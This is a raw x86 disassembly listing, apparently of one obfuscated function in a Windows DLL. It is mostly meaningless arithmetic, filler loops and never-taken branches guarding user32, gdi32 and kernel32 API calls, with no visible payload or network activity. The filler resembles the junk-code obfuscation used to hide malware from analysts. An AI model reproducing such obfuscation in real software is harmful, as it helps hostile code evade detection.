mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x38], 0xf7fd1e81
push 4
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10034d9f
push dword [ebp - 0x10]
lea ecx, [ebp - 0x7d8]
call fcn.1001856c
push 4
mov dword [eax], 0xffff
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], eax
jl 0x10034d7e
xor eax, eax
mov dword [ebp - 0x30], 3
cmp dword [ebp - 0x30], eax
jl 0x10034de8
push dword [ebp - 0x30]
lea ecx, [ebp - 0x7d8]
call fcn.1001856c
cmp dword [eax], 0
jne 0x10034de5
push dword [ebp - 0x30]
lea ecx, [ebp - 0x7d8]
call fcn.1001856c
push dword [ebp - 0x30]
lea ecx, [ebp - 0x7d8]
mov esi, eax
call fcn.1001856c
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x30]
jns 0x10034dab
push 2
pop esi
lea ecx, [ebp - 0x7d8]
mov dword [ebp - 4], edi
call fcn.10018550
mov dword [ebp - 0x38], esi
xor eax, eax
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10034e2b
push eax
push eax
push 0x26ec
push eax
call dword [sym.imp.USER32.dll_AppendMenuA]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10034e86
push 0xd84
push 0x231d
push 0x1212
push eax
push 0x738
push 0x83a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov edi, dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
push eax
push 0x1868
push 0xa2
push 0x1390
push 0x7fd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
xor eax, eax
jmp 0x10034e8c
mov edi, dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x38], 0x145714ff
mov edx, 0x9820b275
mov dword [ebp - 0x2c], 0xceafd94f
mov dword [ebp - 0x34], 0xf6dd8d13
push 3
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0xe88], edx
mov dword [ebp - 0xe84], edx
mov dword [ebp - 0xe80], edx
mov dword [ebp - 0xe7c], edx
mov dword [ebp - 0x10], eax
jmp 0x10034edd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9d8], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10034ed0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x10034ef2
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffe
je 0x10034f05
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10034f07
mov eax, ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2c]
jle 0x10034f1e
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x9d0], eax
je 0x10034f20
mov edx, ebx
mov eax, dword [ebp - 0xe80]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x9d0]
setg cl
imul eax, ecx
test eax, eax
jne 0x10034f41
mov edx, eax
cmp dword [ebp - 0x44], eax
je 0x10034f43
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
sub edx, eax
mov eax, dword [ebp - 0x34]
cmp eax, edx
push 8
setne cl
add ecx, dword [ebp - 0x9d0]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
mov dword [ebp - 0x9d8], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 0xfc3eee2f
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0xe5741311
mov dword [ebp - 0x34], 5
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10034fa3
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10034fb3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
inc eax
cmp eax, 9
mov eax, dword [ebp - 0x24]
push 8
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x32a8
setg al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
cmp dword [ebp - 0x24], 0xfff7
sbb eax, eax
xor ecx, ecx
inc eax
cmp edx, eax
setge cl
cmp ebx, ecx
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setl cl
or eax, 0xffffffff
mov dword [ebp - 0x24], ecx
xor edx, edx
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x34], 0x39beb064
mov dword [ebp - 0x44], eax
pop eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 0x1ded6804
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setge dl
xor eax, eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x10], eax
jmp 0x100350ae
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], esi
jge 0x10035084
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xa60], 0xa8d3
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x1003506c
xor eax, eax
cmp dword [ebp - 0xa60], eax
jne 0x100350b4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x100350ab
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0xa60], 0
jne 0x100350a9
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x10035094
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffef
jle 0x10035064
movdqa xmm0, xmmword [0x10007c00]
lea eax, [ebp - 0x1364]
push eax
lea eax, [ebp - 0x1374]
mov dword [ebp - 0x38], 0xfffffff7
push eax
lea ecx, [ebp - 0x1614]
movdqu xmmword [ebp - 0x1374], xmm0
call fcn.1001857b
lea ecx, [ebp - 0x24c]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x314]
push dword [esi]
call fcn.1001852a
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x10], 9
push ebx
call fcn.100184ce
mov byte [ebp - 4], 0x1e
mov eax, 0x925d3c09
mov dword [ebp - 0x34], 0xf9eb11de
mov dword [ebp - 0xe28], eax
mov dword [ebp - 0xe24], eax
mov dword [ebp - 0xe20], eax
mov dword [ebp - 0xe1c], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x7c4177fd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10035173
push dword [ebp - 0x10]
lea ecx, [ebp - 0x480]
call fcn.1001856c
mov dword [eax], 0xa41a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10035155
xor eax, eax
push eax
lea ecx, [ebp - 0x314]
call fcn.1001856c
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10035298
push 3
lea ecx, [ebp - 0x314]
call fcn.1001856c
mov esi, eax
lea ecx, [ebp - 0x314]
xor eax, eax
push eax
call fcn.1001856c
mov ecx, dword [esi]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x480]
setge bl
xor eax, eax
push eax
call fcn.1001856c
mov ecx, dword [ebp - 0x10]
xor edx, edx
cmp ebx, ecx
setl dl
sub edx, dword [eax]
je 0x100351ea
push 2
lea ecx, [ebp - 0x314]
call fcn.1001856c
cmp dword [eax], 0
je 0x100351ea
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x100351ef
xor ebx, ebx
xor eax, eax
inc ebx
add dword [ebp - 0x10], eax
lea ecx, [ebp - 0x314]
push ebx
call fcn.1001856c
mov esi, eax
lea ecx, [ebp - 0x314]
xor eax, eax
push eax
call fcn.1001856c
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
setle dl
cmp edx, dword [ebp - 0x10]
jge 0x10035235
xor eax, eax
lea ecx, [ebp - 0x480]
push eax
call fcn.1001856c
cmp dword [eax], 0
je 0x10035235
mov esi, ebx
xor eax, eax
jmp 0x10035239
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x314]
call fcn.1001856c
lea ecx, [ebp - 0x480]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.1001856c
lea ecx, [ebp - 0x480]
mov eax, dword [eax]
imul eax, esi
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.1001856c
xor eax, eax
lea ecx, [ebp - 0x314]
push eax
call fcn.1001856c
xor eax, eax
mov dword [ebp - 0xe1c], ebx
push eax
lea ecx, [ebp - 0x480]
call fcn.1001856c
xor eax, eax
push eax
lea ecx, [ebp - 0x314]
call fcn.1001856c
lea ecx, [ebp - 0x480]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
call fcn.10018550
or esi, 0xffffffff
lea ecx, [ebp - 0x314]
mov dword [ebp - 4], esi
call fcn.10018550
mov dword [ebp - 0x38], esi
xor eax, eax
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x100352f7
push 0xd81
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
mov dword [ebp - 0x30], 0xffffffe6
jmp 0x10035475
push 2
lea ecx, [ebp - 0x9f0]
call fcn.100184ce
mov dword [ebp - 4], 0x1f
lea eax, [ebp - 0x12a4]
movdqa xmm0, xmmword [0x10007bd0]
lea ecx, [ebp - 0x153c]
push eax
lea eax, [ebp - 0x12b4]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], 5
push eax
movdqu xmmword [ebp - 0x12b4], xmm0
call fcn.1001857b
lea ecx, [ebp - 0x284]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x10ac]
push dword [esi]
call fcn.1001852a
xor eax, eax
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10035396
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9f0]
call fcn.1001856c
mov dword [eax], 0xfdb69689
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10035377
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x100353b8
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x14e0], 0xfffffff7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1003539f
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100353cd
push 0x1755
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
lea ecx, [ebp - 0x9f0]
call fcn.1001856c
xor ecx, ecx
mov eax, dword [eax]
cmp eax, 0xffffffff
mov dword [ebp - 0x14dc], eax
setle cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffff
jae 0x1003540b
cmp dword [ebp - 0x20], eax
je 0x10035412
mov edi, ebx
cmp dword [ebp - 0x20], eax
jne 0x10035414
mov edi, eax
push ebx
lea ecx, [ebp - 0x9f0]
call fcn.1001856c
mov ecx, dword [ebp - 0x30]
cmp edi, ebx
mov esi, eax
sbb edx, edx
xor eax, eax
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x30]
setl al
xor edx, edx
cmp ecx, eax
setge dl
imul edx, dword [esi]
test edx, edx
je 0x10035445
mov eax, dword [ebp - 0x44]
push ebx
lea ecx, [ebp - 0x10ac]
call fcn.1001856c
mov ecx, dword [ebp - 0x44]
mov dword [eax], ecx
lea ecx, [ebp - 0x10ac]
call fcn.10018550
or esi, 0xffffffff
lea ecx, [ebp - 0x9f0]
mov dword [ebp - 4], esi
call fcn.10018550
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xc
jl 0x10035303
push 4
pop edi
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 0xf44]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0xfffffffe
push edi
call fcn.100184ce
xor eax, eax
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x100354ca
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf44]
call fcn.1001856c
mov dword [eax], 0x1aae4b9a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100354ac
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100354dc
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
xor eax, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x40], 0xfffffff7
jge 0x10035557
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x34], 0x7555b7ce
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0xc08872fa
mov dword [ebp - 0x38], 0x289a695
mov dword [ebp - 0x38], 0xf8b8ae50
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], 0x4272ba7
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1003553e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x16b4], 0xecf04b06
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10035526
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10035545
mov eax, ebx
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x44]
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffff7
push 0
pop eax
jl 0x100354e8
lea ecx, [ebp - 0xf44]
mov dword [ebp - 4], esi
call fcn.10018550
push edi
lea ecx, [ebp - 0xf5c]
call fcn.100184ce
mov dword [ebp - 4], 0x22
xor eax, eax
mov dword [ebp - 0x4c], 0xb785b647
push 3
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x10], eax
pop edi
jmp 0x1003559d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5f8], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003558c
push 2
mov dword [ebp - 0x5f8], 0xffffffe4
pop esi
or eax, 0xffffffff
cmp dword [ebp - 0x5f8], 0x12
jl 0x10035655
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0xdc4]
push ebx
call fcn.100184ce
xor eax, eax
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x10], eax
jmp 0x100355ed
push dword [ebp - 0x10]
lea ecx, [ebp - 0xdc4]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100355d9
mov eax, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setl dl
sub edx, esi
cmp edx, 0xd2d1a4e6
jne 0x10035612
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x5f4]
lea ecx, [ebp - 0xdc4]
sub eax, 0x8e48
neg eax
sbb eax, eax
add eax, 0xfffffff8
mov dword [ebp - 0x3c], eax
xor eax, eax
push eax
call fcn.1001856c
lea ecx, [ebp - 0xdc4]
mov byte [ebp - 4], 0x22
mov dword [eax], 0xfffffff7
call fcn.10018550
inc dword [ebp - 0x5f8]
jmp 0x100355af
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0x13
cmp dword [ebp - 0x40], 5
je 0x100356ae
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0x18
jmp 0x10035685
mov dword [ebp - 0x4c], 0xfffb
cmp dword [ebp - 0x4c], eax
jne 0x1003568b
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x14
jl 0x10035676
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100356a2
push 0x241c
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 5
jne 0x1003566a
or eax, 0xffffffff
mov dword [ebp - 0x38], 0xd4752e4a
lea ecx, [ebp - 0xb48]
mov dword [ebp - 0x2c], 0x5c68ec0a
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x4c], esi
push esi
call fcn.100184ce
xor eax, eax
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x100356f9
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb48]
call fcn.1001856c
push 6
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100356dc
xor eax, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x2c], 0xffffffe5
jg 0x1003580b
jmp 0x1003570a
xor eax, eax
movdqa xmm0, xmmword [0x10007c20]
lea ecx, [ebp - 0x162c]
mov dword [ebp - 0x20], 0x3bc6
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1404]
push eax
lea eax, [ebp - 0x1414]
mov dword [ebp - 0x3c], 0xfffffff7
push eax
movdqu xmmword [ebp - 0x1414], xmm0
call fcn.1001857b
lea ecx, [ebp - 0x2cd]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1168]
push dword [esi]
call fcn.1001852a
mov byte [ebp - 4], 0x25
xor eax, eax
mov dword [ebp - 0x44], 0x44262821
cmp dword [ebp - 0x20], eax
je 0x100357a5
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 9
je 0x10035787
mov esi, ebx
cmp dword [ebp - 0x2c], eax
jne 0x10035789
mov esi, eax
push edi
lea ecx, [ebp - 0x1168]
call fcn.1001856c
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, esi
setne dl
mov dword [eax], edx
mov edx, ebx
jmp 0x100357a7
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setle cl
xor edx, edx
neg ecx
cmp ecx, 0x61718bc6
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setne bl
xor ecx, ecx
cmp eax, ebx
setl cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x1168]
mov byte [ebp - 4], 0x24
call fcn.10018550
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe5
push 1
pop ebx
jle 0x10035708
push 2
pop esi
push ebx
lea ecx, [ebp - 0xb48]
call fcn.1001856c
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x22
mov dword [eax], ecx
lea ecx, [ebp - 0xb48]
call fcn.10018550
mov dword [ebp - 0x38], 0x7fc7
xor eax, eax
mov dword [ebp - 0x40], 0xe1757117
mov dword [ebp - 0x58], 0xa62a9695
mov dword [ebp - 0x34], 0x9f7a9d2e
mov dword [ebp - 0x4c], 0x1f283019
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffffc
jne 0x10035921
mov dword [ebp - 0x20], 0x928fbc78
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x44], 0x71cb27f0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x20]
sub eax, 0xfff8
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xfffffff8
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setle dl
xor eax, eax
imul edx, dword [ebp - 0x44]
test edx, edx
je 0x100358a8
cmp dword [ebp - 0x44], eax
je 0x100358a8
mov eax, ebx
xor ecx, ecx
cmp eax, 0x25004286
mov eax, dword [ebp - 0x10]
setne cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor eax, eax
inc edx
neg edx
cmp edx, 0xfffffffc
jg 0x100358d2
cmp dword [ebp - 0x44], eax
je 0x100358d9
mov edx, ebx
cmp dword [ebp - 0x10], eax
jne 0x100358db
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0xffff
ja 0x100358f0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
cmp eax, 4
setle cl
xor eax, eax
cmp ecx, 0x2320
setne al
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffffc
je 0x1003585d
xor eax, eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], 0xeca4f833
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x17
jge 0x10035967
mov dword [ebp - 0x4c], 0xe948708e
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003595c
call dword [sym.imp.USER32.dll_GetMessageTime]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x17
jl 0x1003593f
xor eax, eax
mov dword [ebp - 0x24], 0x5540d7f8
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x10], 7
mov dword [ebp - 0x34], 0xe1d67a3d
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff3
jne 0x10035a54
or eax, 0xffffffff
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffea
je 0x10035a47
mov dword [ebp - 0x10], 0x21705914
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
push 8
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
neg eax
xor edx, edx
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
mov eax, dword [ebp - 0x10]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
pop ecx
setne dl
sub ecx, eax
xor eax, eax
cmp ecx, edx
setle al
xor ecx, ecx
add eax, dword [ebp - 0x24]
cmp eax, 7
setne cl
sub ecx, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
sub ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10035a37
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffea
jne 0x100359a3
or eax, 0xffffffff
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff3
je 0x10035993
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
cmp eax, 0xc43
setg cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, ebx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
sub ecx, eax
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setl dl
or eax, 0xffffffff
imul edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x10]
cmp edx, eax
sbb eax, eax
inc eax
add eax, esi
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10035abc
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf5c]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x10]
push 4
pop eax
cmp dword [ebp - 0x10], eax
jl 0x10035aa8
push edi
lea ecx, [ebp - 0x230]
call fcn.100184ce
mov byte [ebp - 4], 0x26
xor eax, eax
mov dword [ebp - 0x4c], 0x823142ac
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10035b03
push dword [ebp - 0x24]
lea ecx, [ebp - 0x230]
call fcn.1001856c
mov dword [eax], 0x399841b3
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10035ae5
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10035b19
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6ac], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10035b08
push esi
lea ecx, [ebp - 0x230]
call fcn.1001856c
and dword [eax], 0
jmp 0x10035df4
mov dword [ebp - 0x2c], 9
xor eax, eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x34], 0x1b6b
mov dword [ebp - 0x54], 0x535f447f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10035b6c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xce0], 0x63e87122
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10035b54
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x19
je 0x10035de6
push 4
mov dword [ebp - 0x4c], ebx
lea ecx, [ebp - 0x784]
pop ebx
push ebx
call fcn.100184ce
mov byte [ebp - 4], 0x27
xor eax, eax
mov dword [ebp - 0x44], 0xf05746ac
mov dword [ebp - 0x10], eax
jmp 0x10035bb4
push dword [ebp - 0x10]
lea ecx, [ebp - 0x784]
call fcn.1001856c
mov dword [eax], 0xa9172c2e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10035b9d
push esi
lea ecx, [ebp - 0x230]
call fcn.1001856c
mov eax, dword [eax]
mov dword [ebp - 0x6a4], eax
test eax, eax
je 0x10035cbb
push esi
lea ecx, [ebp - 0x230]
call fcn.1001856c
inc dword [eax]
push esi
lea ecx, [ebp - 0x230]
call fcn.1001856c
push 8
pop ecx
cmp dword [eax], ecx
jl 0x10035b32
lea ecx, [ebp - 0x230]
call fcn.10018550
dec dword [ebp - 0x58]
lea ecx, [ebp - 0xf5c]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10018550
push 6
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0xb1a7a81a
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x2c], 0xfffffff5
cmp dword [ebp - 0x2c], 0xd
jne 0x10035f51
push ebx
lea ecx, [ebp - 0x6c4]
call fcn.100184ce
xor eax, eax
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10035e8b
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6c4]
call fcn.1001856c
or edx, 0xffffffff
mov dword [eax], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10035e6c
or edx, 0xffffffff
cmp dword [ebp - 0x2c], eax
jne 0x10035f40
mov dword [ebp - 0x24], 0xfc3eee2f
push 8
pop eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x34], 0xe5741311
mov dword [ebp - 0x34], 5
